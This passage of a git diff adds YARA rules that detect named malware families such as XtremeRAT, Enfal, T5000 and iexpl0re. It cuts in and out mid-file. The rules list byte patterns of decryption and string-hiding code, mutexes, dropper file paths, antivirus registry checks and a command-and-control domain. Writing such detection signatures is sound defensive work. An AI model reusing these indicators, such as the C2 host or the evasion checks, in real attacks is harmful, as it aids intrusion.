+		$ = { C6 [3] 5F C6 [3] 46 C6 [3] 69 C6 [3] 72 C6 [3] 65 C6 [3] 2E C6 [3] 64 }
+
+	condition:
+		any of them
+
+}
+
+private rule SurtrStrings : Surtr Family {	
+	meta: 
+		author = "Katie Kleemola"
+		description = "Strings for Surtr"
+		last_updated = "2014-07-16"
+
+	strings:
+		$ = "\x00soul\x00"
+		$ = "\x00InstallDll.dll\x00"
+		$ = "\x00_One.dll\x00"
+		$ = "_Fra.dll"
+		$ = "CrtRunTime.log"
+		$ = "Prod.t"
+		$ = "Proe.t"
+		$ = "Burn\\"
+		$ = "LiveUpdata_Mem\\"
+
+	condition:
+		any of them
+
+}
+
+rule Surtr : Family {
+	meta:
+		author = "Katie Kleemola"
+		description = "Rule for Surtr Stage One"
+		last_updated = "2014-07-16"
+
+	condition:
+		SurtrStrings or SurtrCode
+
+}
+private rule T5000Strings : T5000 Family
+{
+    meta:
+        description = "T5000 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    strings:
+        $ = "_tmpR.vbs"
+        $ = "_tmpg.vbs"
+        $ = "Dtl.dat" wide ascii
+        $ = "3C6FB3CA-69B1-454f-8B2F-BD157762810E"
+        $ = "EED5CA6C-9958-4611-B7A7-1238F2E1B17E"
+        $ = "8A8FF8AD-D1DE-4cef-B87C-82627677662E"
+        $ = "43EE34A9-9063-4d2c-AACD-F5C62B849089"
+        $ = "A8859547-C62D-4e8b-A82D-BE1479C684C9"
+        $ = "A59CF429-D0DD-4207-88A1-04090680F714"
+        $ = "utd_CE31" wide ascii
+        $ = "f:\\Project\\T5000\\Src\\Target\\1 KjetDll.pdb"
+        $ = "l:\\MyProject\\Vc 7.1\\T5000\\T5000Ver1.28\\Target\\4 CaptureDLL.pdb"
+        $ = "f:\\Project\\T5000\\Src\\Target\\4 CaptureDLL.pdb"
+        $ = "E:\\VS2010\\xPlat2\\Release\\InstRes32.pdb"
+        
+    condition:
+       any of them
+}
+
+rule T5000 : Family
+{
+    meta:
+        description = "T5000"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    condition:
+        T5000Strings
+}
+
+private rule VidgrabCode : Vidgrab Family 
+{
+    meta:
+        description = "Vidgrab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $divbyzero = { B8 02 00 00 00 48 48 BA 02 00 00 00 83 F2 02 F7 F0 }
+        // add eax, ecx; xor byte ptr [eax], ??h; inc ecx
+        $xorloop = { 03 C1 80 30 (66 | 58) 41 }
+        $junk = { 8B 4? ?? 8B 4? ?? 03 45 08 52 5A }
+        
+    condition:
+        all of them
+}
+
+private rule VidgrabStrings : Vidgrab Family
+{
+    meta:
+        description = "Vidgrab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "IDI_ICON5" wide ascii
+        $ = "starter.exe"
+        $ = "wmifw.exe"
+        $ = "Software\\rar"
+        $ = "tmp092.tmp"
+        $ = "temp1.exe"
+        
+    condition:
+       3 of them
+}
+
+rule Vidgrab : Family
+{
+    meta:
+        description = "Vidgrab"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        VidgrabCode or VidgrabStrings
+}
+
+private rule WarpCode : Warp Family 
+{
+    meta:
+        description = "Warp code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // character replacement
+        $ = { 80 38 2B 75 03 C6 00 2D 80 38 2F 75 03 C6 00 5F }
+    
+    condition:
+        any of them
+}
+
+private rule WarpStrings : Warp Family
+{
+    meta:
+        description = "Warp Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $ = "/2011/n325423.shtml?"
+        $ = "wyle"
+        $ = "\\~ISUN32.EXE"
+
+    condition:
+       any of them
+}
+
+rule Warp : Family
+{
+    meta:
+        description = "Warp"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        WarpCode or WarpStrings
+}
+
+private rule WimmieShellcode : Wimmie Family 
+{
+    meta:
+        description = "Wimmie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        // decryption loop
+        $ = { 49 30 24 39 83 F9 00 77 F7 8D 3D 4D 10 40 00 B9 0C 03 00 00 }
+        $xordecrypt = {B9 B4 1D 00 00 [8] 49 30 24 39 83 F9 00 }
+        
+    condition:
+        any of them
+}
+
+private rule WimmieStrings : Wimmie Family
+{
+    meta:
+        description = "Strings used by Wimmie"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        $ = "\x00ScriptMan"
+        $ = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" wide ascii
+        $ = "ProbeScriptFint" wide ascii
+        $ = "ProbeScriptKids"
+        
+    condition:
+        any of them
+
+}
+
+rule Wimmie : Family
+{
+    meta:
+        description = "Wimmie family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+   
+    condition:
+        WimmieShellcode or WimmieStrings
+        
+}
+
+private rule XtremeRATCode : XtremeRAT Family 
+{
+    meta:
+        description = "XtremeRAT code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // call; fstp st
+        $ = { E8 ?? ?? ?? ?? DD D8 }
+        // hiding string
+        $ = { C6 85 ?? ?? ?? ?? 4D C6 85 ?? ?? ?? ?? 70 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 62 C6 85 ?? ?? ?? ?? 6D }
+    
+    condition:
+        all of them
+}
+
+private rule XtremeRATStrings : XtremeRAT Family
+{
+    meta:
+        description = "XtremeRAT Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "dqsaazere"
+        $ = "-GCCLIBCYGMING-EH-TDM1-SJLJ-GTHR-MINGW32"
+        
+    condition:
+       any of them
+}
+
+rule XtremeRAT : Family
+{
+    meta:
+        description = "XtremeRAT"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    condition:
+        XtremeRATCode or XtremeRATStrings
+}
+
+rule YayihCode : Yayih Family 
+{
+    meta:
+        description = "Yayih code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+    
+    strings:
+        //  encryption
+        $ = { 80 04 08 7A 03 C1 8B 45 FC 80 34 08 19 03 C1 41 3B 0A 7C E9 }
+    
+    condition:
+        any of them
+}
+
+rule YayihStrings : Yayih Family
+{
+    meta:
+        description = "Yayih Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    strings:
+        $ = "/bbs/info.asp"
+        $ = "\\msinfo.exe"
+        $ = "%s\\%srcs.pdf"
+        $ = "\\aumLib.ini"
+
+    condition:
+       any of them
+}
+
+rule Yayih : Family
+{
+    meta:
+        description = "Yayih"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    condition:
+        YayihCode or YayihStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/bangat.yara b/yara-mikesxrs/Citizen Lab/bangat.yara
new file mode 100644
index 0000000..8edd2d2
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/bangat.yara	
@@ -0,0 +1,45 @@
+private rule BangatCode : Bangat Family 
+{
+    meta:
+        description = "Bangat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // dec [ebp + procname], push eax, push edx, call get procaddress
+        $ = { FE 4D ?? 8D 4? ?? 50 5? FF }
+    
+    condition:
+        any of them
+}
+
+private rule BangatStrings : Bangat Family
+{
+    meta:
+        description = "Bangat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $lib1 = "DreatePipe"
+        $lib2 = "HetSystemDirectoryA"
+        $lib3 = "SeleaseMutex"
+        $lib4 = "DloseWindowStation"
+        $lib5 = "DontrolService"
+        $file = "~hhC2F~.tmp"
+        $mc = "~_MC_3~"
+
+    condition:
+       all of ($lib*) or $file or $mc
+}
+
+rule Bangat : Family
+{
+    meta:
+        description = "Bangat"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        BangatCode or BangatStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/between-hk-and-burma.yara b/yara-mikesxrs/Citizen Lab/between-hk-and-burma.yara
new file mode 100644
index 0000000..9b8c772
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/between-hk-and-burma.yara	
@@ -0,0 +1,190 @@
+rule dubseven_file_set
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for service files loading UP007"
+    
+    strings:
+        $file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
+        $file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
+        $file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
+        $file4 = "\\Microsoft\\Internet Explorer\\main.dll"
+        $file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
+        $file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
+        $file7 = "\\Microsoft\\Internet Explorer\\mon"
+        $file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        //Just a few of these as they differ
+        3 of ($file*)
+}
+
+rule dubseven_dropper_registry_checks
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for registry keys checked for by the dropper"
+    
+    strings:
+        $reg1 = "SOFTWARE\\360Safe\\Liveup"
+        $reg2 = "Software\\360safe"
+        $reg3 = "SOFTWARE\\kingsoft\\Antivirus"
+        $reg4 = "SOFTWARE\\Avira\\Avira Destop"
+        $reg5 = "SOFTWARE\\rising\\RAV"
+        $reg6 = "SOFTWARE\\JiangMin"
+        $reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
+
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        all of ($reg*)
+}
+
+rule dubseven_dropper_dialog_remains
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for related dialog remnants. How rude."
+    
+    strings:
+        $dia1 = "fuckMessageBox 1.0" wide
+        $dia2 = "Rundll 1.0" wide
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        any of them
+}
+        
+
+rule maindll_mutex
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Matches on the maindll mutex"
+        
+    strings:
+        $mutex = "h31415927tttt"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $mutex
+}
+
+
+rule SLServer_dialog_remains
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for related dialog remnants."
+    
+    strings:
+        $slserver = "SLServer" wide
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $slserver
+}
+
+rule SLServer_mutex
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for the mutex."
+    
+    strings:
+        $mutex = "M&GX^DSF&DA@F"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $mutex
+}
+
+rule SLServer_command_and_control
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for the C2 server."
+    
+    strings:
+        $c2 = "safetyssl.security-centers.com"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $c2
+}
+
+rule SLServer_campaign_code
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for the related campaign code."
+    
+    strings:
+        $campaign = "wthkdoc0106"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $campaign
+}
+
+rule SLServer_unknown_string
+{
+    meta:
+        author = "Matt Brooks, @cmatthewbrooks"
+        desc = "Searches for a unique string."
+    
+    strings:
+        $string = "test-b7fa835a39"
+        
+    condition:
+        //MZ header
+        uint16(0) == 0x5A4D and
+        
+        //PE signature
+        uint32(uint32(0x3C)) == 0x00004550 and
+        
+        $string
+}
+
+
+
diff --git a/yara-mikesxrs/Citizen Lab/boouset.yara b/yara-mikesxrs/Citizen Lab/boouset.yara
new file mode 100644
index 0000000..8035e11
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/boouset.yara	
@@ -0,0 +1,42 @@
+private rule BoousetCode : Boouset Family 
+{
+    meta:
+        description = "Boouset code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $boousetdat = { C6 ?? ?? ?? ?? 00 62 C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 6F C6 ?? ?? ?? ?? 00 75 }
+        
+    condition:
+        any of them
+}
+
+private rule BoousetStrings : Boouset Family
+{
+    meta:
+        description = "Boouset Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "Q\x00\x00\x00\x00W\x00\x00\x00\x00E\x00\x00\x00\x00R\x00\x00\x00\x00T\x00\x00\x00\x00Y\x00\x00\x00\x00"
+        $ = "A\x00\x00\x00\x00S\x00\x00\x00\x00D\x00\x00\x00\x00F\x00\x00\x00\x00G\x00\x00\x00\x00H"
+        $ = "Z\x00\x00\x00\x00X\x00\x00\x00\x00C\x00\x00\x00\x00V\x00\x00\x00\x00B\x00\x00\x00\x00N\x00\x00\x00\x00"
+        $ = "\\~Z8314.tmp"
+        $ = "hulee midimap" wide ascii
+        
+    condition:
+       any of them
+}
+
+rule Boouset : Family
+{
+    meta:
+        description = "Boouset"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        BoousetCode or BoousetStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/comfoo.yara b/yara-mikesxrs/Citizen Lab/comfoo.yara
new file mode 100644
index 0000000..ea58587
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/comfoo.yara	
@@ -0,0 +1,43 @@
+private rule ComfooCode : Comfoo Family 
+{
+    meta:
+        description = "Comfoo code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $resource = { 6A 6C 6A 59 55 E8 01 FA FF FF }
+  
+    condition:
+        any of them
+}
+
+private rule ComfooStrings : Comfoo Family
+{
+    meta:
+        description = "Comfoo Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "fefj90"
+        $ = "iamwaitingforu653890"
+        $ = "watchevent29021803"
+        $ = "THIS324NEWGAME"
+        $ = "ms0ert.temp"
+        $ = "\\mstemp.temp"
+        
+    condition:
+       any of them
+}
+
+rule Comfoo : Family
+{
+    meta:
+        description = "Comfoo"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        ComfooCode or ComfooStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/cookies.yara b/yara-mikesxrs/Citizen Lab/cookies.yara
new file mode 100644
index 0000000..fc038d2
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/cookies.yara	
@@ -0,0 +1,38 @@
+private rule CookiesStrings : Cookies Family
+{
+    meta:
+        description = "Cookies Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $zip1 = "ntdll.exePK"
+        $zip2 = "AcroRd32.exePK"
+        $zip3 = "Setup=ntdll.exe\x0d\x0aSilent=1\x0d\x0a"
+        $zip4 = "Setup=%temp%\\AcroRd32.exe\x0d\x0a"
+        $exe1 = "Leave GetCommand!"
+        $exe2 = "perform exe success!"
+        $exe3 = "perform exe failure!"
+        $exe4 = "Entry SendCommandReq!"
+        $exe5 = "Reqfile not exist!"
+        $exe6 = "LeaveDealUpfile!"
+        $exe7 = "Entry PostData!"
+        $exe8 = "Leave PostFile!"
+        $exe9 = "Entry PostFile!"
+        $exe10 = "\\unknow.zip" wide ascii
+        $exe11 = "the url no respon!"
+        
+    condition:
+      (2 of ($zip*)) or (2 of ($exe*))
+}
+
+rule Cookies : Family
+{
+    meta:
+        description = "Cookies"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        CookiesStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/cves.yara b/yara-mikesxrs/Citizen Lab/cves.yara
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/cves.yara	
@@ -0,0 +1 @@
+
diff --git a/yara-mikesxrs/Citizen Lab/cxpid.yara b/yara-mikesxrs/Citizen Lab/cxpid.yara
new file mode 100644
index 0000000..e82ea1f
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/cxpid.yara	
@@ -0,0 +1,42 @@
+private rule cxpidCode : cxpid Family 
+{
+    meta:
+        description = "cxpid code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+    
+    strings:
+        $entryjunk = { 55 8B EC B9 38 04 00 00 6A 00 6A 00 49 75 F9 }
+    
+    condition:
+        any of them
+}
+
+private rule cxpidStrings : cxpid Family
+{
+    meta:
+        description = "cxpid Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "/cxpid/submit.php?SessionID="
+        $ = "/cxgid/"
+        $ = "E21BC52BEA2FEF26D005CF"
+        $ = "E21BC52BEA39E435C40CD8"
+        $ = "                   -,L-,O+,Q-,R-,Y-,S-"
+        
+    condition:
+       any of them
+}
+
+rule cxpid : Family
+{
+    meta:
+        description = "cxpid"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        cxpidCode or cxpidStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/enfal.yara b/yara-mikesxrs/Citizen Lab/enfal.yara
new file mode 100644
index 0000000..1da7413
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/enfal.yara	
@@ -0,0 +1,69 @@
+private rule EnfalCode : Enfal Family 
+{
+    meta:
+        description = "Enfal code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        // mov al, 20h; sub al, bl; add [ebx+esi], al; push esi; inc ebx; call edi; cmp ebx, eax
+        $decrypt = { B0 20 2A C3 00 04 33 56 43 FF D7 3B D8 }
+        
+    condition:
+        any of them
+}
+
+private rule EnfalStrings : Enfal Family
+{
+    meta:
+        description = "Enfal Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "D:\\work\\\xe6\xba\x90\xe5\x93\xa5\xe5\x85\x8d\xe6\x9d\x80\\tmp\\Release\\ServiceDll.pdb"
+        $ = "e:\\programs\\LuridDownLoader"
+        $ = "LuridDownloader for Falcon"
+        $ = "DllServiceTrojan"
+        $ = "\\k\\\xe6\xa1\x8c\xe8\x9d\xa2\\"
+        $ = "EtenFalcon\xef\xbc\x88\xe4\xbf\xae\xe6\x94\xb9\xef\xbc\x89"
+        $ = "Madonna\x00Jesus"
+        $ = "/iupw82/netstate"
+        $ = "fuckNodAgain"
+        $ = "iloudermao"
+        $ = "Crpq2.cgi"
+        $ = "Clnpp5.cgi"
+        $ = "Dqpq3ll.cgi"
+        $ = "dieosn83.cgi"
+        $ = "Rwpq1.cgi"
+        $ = "/Ccmwhite"
+        $ = "/Cmwhite"
+        $ = "/Crpwhite"
+        $ = "/Dfwhite"
+        $ = "/Query.txt"
+        $ = "/Ufwhite"
+        $ = "/cgl-bin/Clnpp5.cgi"
+        $ = "/cgl-bin/Crpq2.cgi"
+        $ = "/cgl-bin/Dwpq3ll.cgi"
+        $ = "/cgl-bin/Owpq4.cgi"
+        $ = "/cgl-bin/Rwpq1.cgi"
+        $ = "/trandocs/mm/"
+        $ = "/trandocs/netstat"
+        $ = "NFal.exe"
+        $ = "LINLINVMAN"
+        $ = "7NFP4R9W"
+        
+    condition:
+        any of them
+}
+
+rule Enfal : Family
+{
+    meta:
+        description = "Enfal"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        EnfalCode or EnfalStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/ezcob.yara b/yara-mikesxrs/Citizen Lab/ezcob.yara
new file mode 100644
index 0000000..7a7c2f9
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/ezcob.yara	
@@ -0,0 +1,28 @@
+private rule EzcobStrings : Ezcob Family
+{
+    meta:
+        description = "Ezcob Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    strings:
+        $ = "\x12F\x12F\x129\x12E\x12A\x12E\x12B\x12A\x12-\x127\x127\x128\x123\x12"
+        $ = "\x121\x12D\x128\x123\x12B\x122\x12E\x128\x12-\x12B\x122\x123\x12D\x12"
+        $ = "Ezcob" wide ascii
+        $ = "l\x12i\x12u\x122\x120\x121\x123\x120\x124\x121\x126"
+        $ = "20110113144935"
+        
+    condition:
+       any of them
+}
+
+rule Ezcob : Family
+{
+    meta:
+        description = "Ezcob"
+        author = "Seth Hardy"
+        last_modified = "2014-06-23"
+        
+    condition:
+        EzcobStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/fakem.yara b/yara-mikesxrs/Citizen Lab/fakem.yara
new file mode 100644
index 0000000..cb4eb17
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/fakem.yara	
@@ -0,0 +1,42 @@
+private rule HTMLVariant : FakeM Family HTML Variant
+{
+	meta:
+		description = "Identifier for html variant of FAKEM"
+		author = "Katie Kleemola"
+		last_updated = "2014-05-20"
+	
+	strings:
+		// decryption loop
+		$s1 = { 8B 55 08 B9 00 50 00 00 8D 3D ?? ?? ?? 00 8B F7 AD 33 C2 AB 83 E9 04 85 C9 75 F5 }
+		//mov byte ptr [ebp - x] y, x: 0x10-0x1 y: 0-9,A-F
+		$s2 = { C6 45 F? (3?|4?) }
+
+	condition:
+		$s1 and #s2 == 16
+
+}
+
+//todo: need rules for other variants
+rule FakeM : Family
+{
+	meta:
+		description = "FakeM"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-03"
+	
+	condition:
+		HTMLVariant
+
+
+}
+
+rule FAKEMhtml : Variant
+{
+	meta:
+		description = "Rule for just the HTML Variant"
+		author = "Katie Kleemola"
+		last_updated = "2014-07-10"
+	
+	condition:
+		HTMLVariant
+}
diff --git a/yara-mikesxrs/Citizen Lab/favorite.yara b/yara-mikesxrs/Citizen Lab/favorite.yara
new file mode 100644
index 0000000..7ac5732
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/favorite.yara	
@@ -0,0 +1,42 @@
+private rule FavoriteCode : Favorite Family 
+{
+    meta:
+        description = "Favorite code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+    
+    strings:
+        // standard string hiding
+        $ = { C6 45 ?? 3B C6 45 ?? 27 C6 45 ?? 34 C6 45 ?? 75 C6 45 ?? 6B C6 45 ?? 6C C6 45 ?? 3B C6 45 ?? 2F }
+        $ = { C6 45 ?? 6F C6 45 ?? 73 C6 45 ?? 73 C6 45 ?? 76 C6 45 ?? 63 C6 45 ?? 65 C6 45 ?? 78 C6 45 ?? 65 }
+    
+    condition:
+        any of them
+}
+
+private rule FavoriteStrings : Favorite Family
+{
+    meta:
+        description = "Favorite Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    strings:
+        $string1 = "!QAZ4rfv"
+        $file1 = "msupdater.exe"
+        $file2 = "FAVORITES.DAT"
+        
+    condition:
+       any of ($string*) or all of ($file*)
+}
+
+rule Favorite : Family
+{
+    meta:
+        description = "Favorite"
+        author = "Seth Hardy"
+        last_modified = "2014-06-24"
+        
+    condition:
+        FavoriteCode or FavoriteStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/filetypes.yara b/yara-mikesxrs/Citizen Lab/filetypes.yara
new file mode 100644
index 0000000..8c59871
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/filetypes.yara	
@@ -0,0 +1,40 @@
+private rule IsRTF : RTF
+{
+    meta:
+        description = "Identifier for RTF files"
+        author = "Seth Hardy"
+        last_modified = "2014-05-05"
+        
+    strings:
+        $magic = /^\s*{\\rt/
+    
+    condition:
+        $magic
+}
+
+private rule IsOLE : OLE
+{
+    meta:
+        description = "Identifier for OLE files"
+        author = "Seth Hardy"
+        last_modified = "2014-05-06"
+        
+    strings:
+        $magic = {d0 cf 11 e0 a1 b1 1a e1}
+    
+    condition:
+        $magic at 0
+}
+
+private rule IsPE : PE 
+{
+	meta:
+		description = "Identifier for PE files"
+		last_modified = "2014-07-11"
+
+	strings:
+		$magic = { 5a 4d }
+
+	condition:
+		$magic at 0 and uint32(uint32(0x3C)) == 0x00004550
+}
diff --git a/yara-mikesxrs/Citizen Lab/glasses.yara b/yara-mikesxrs/Citizen Lab/glasses.yara
new file mode 100644
index 0000000..617bd58
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/glasses.yara	
@@ -0,0 +1,43 @@
+private rule GlassesCode : Glasses Family 
+{
+    meta:
+        description = "Glasses code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = { B8 AB AA AA AA F7 E1 D1 EA 8D 04 52 2B C8 }
+        $ = { B8 56 55 55 55 F7 E9 8B 4C 24 1C 8B C2 C1 E8 1F 03 D0 49 3B CA }
+        
+    condition:
+        any of them
+}
+
+private rule GlassesStrings : Glasses Family
+{
+    meta:
+        description = "Strings used by Glasses"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+        
+    strings:
+        $ = "thequickbrownfxjmpsvalzydg"
+        $ = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0; %s.%s)"
+        $ = "\" target=\"NewRef\"></a>"
+ 
+    condition:
+        all of them
+
+}
+
+rule Glasses : Family
+{
+    meta:
+        description = "Glasses family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-22"
+   
+    condition:
+        GlassesCode or GlassesStrings
+        
+}
diff --git a/yara-mikesxrs/Citizen Lab/iexpl0re.yara b/yara-mikesxrs/Citizen Lab/iexpl0re.yara
new file mode 100644
index 0000000..b1b55c1
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/iexpl0re.yara	
@@ -0,0 +1,57 @@
+private rule iexpl0reCode : iexpl0ree Family 
+{
+    meta:
+        description = "iexpl0re code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = { 47 83 FF 64 0F 8C 6D FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        $ = { 80 74 0D A4 44 41 3B C8 7C F6 68 04 01 00 00 }
+        $ = { 8A C1 B2 07 F6 EA 30 04 31 41 3B 4D 10 7C F1 }
+        $ = { 47 83 FF 64 0F 8C 79 FF FF FF 33 C0 5F 5E 5B C9 C3 }
+        // 88h decrypt
+        $ = { 68 88 00 00 00 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        $ = { BB 88 00 00 00 53 68 90 06 00 00 68 ?? ?? ?? ?? 89 3? E8 }
+        
+    condition:
+        any of them
+}
+
+private rule iexpl0reStrings : iexpl0re Family
+{
+    meta:
+        description = "Strings used by iexpl0re"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+        
+    strings:
+        $ = "%USERPROFILE%\\IEXPL0RE.EXE"
+        $ = "\"<770j (("
+        $ = "\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\IEXPL0RE.LNK"
+        $ = "\\Documents and Settings\\%s\\Application Data\\Microsoft\\Internet Explorer\\IEXPL0RE.EXE"
+        $ = "LoaderV5.dll"
+        // stage 2
+        $ = "POST /index%0.9d.asp HTTP/1.1"
+        $ = "GET /search?n=%0.9d&"
+        $ = "DUDE_AM_I_SHARP-3.14159265358979x6.626176"
+        $ = "WHO_A_R_E_YOU?2.99792458x1.25663706143592"
+        $ = "BASTARD_&&_BITCHES_%0.8x"
+        $ = "c:\\bbb\\eee.txt"
+        
+    condition:
+        any of them
+
+}
+
+rule iexpl0re : Family
+{
+    meta:
+        description = "iexpl0re family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-21"
+   
+    condition:
+        iexpl0reCode or iexpl0reStrings
+        
+}
diff --git a/yara-mikesxrs/Citizen Lab/imuler.yara b/yara-mikesxrs/Citizen Lab/imuler.yara
new file mode 100644
index 0000000..d45ac81
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/imuler.yara	
@@ -0,0 +1,60 @@
+private rule IMulerCode : IMuler Family 
+{
+    meta:
+        description = "IMuler code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-16"
+        
+    strings:
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_tmpSpotlight = { C7 ?? 2F 74 6D 70 C7 ?? 04 2F 53 70 6F }
+        $L4_TMPAAABBB = { C7 ?? ?? ?? ?? ?? 54 4D 50 41 C7 ?? ?? ?? ?? ?? 41 41 42 42 }
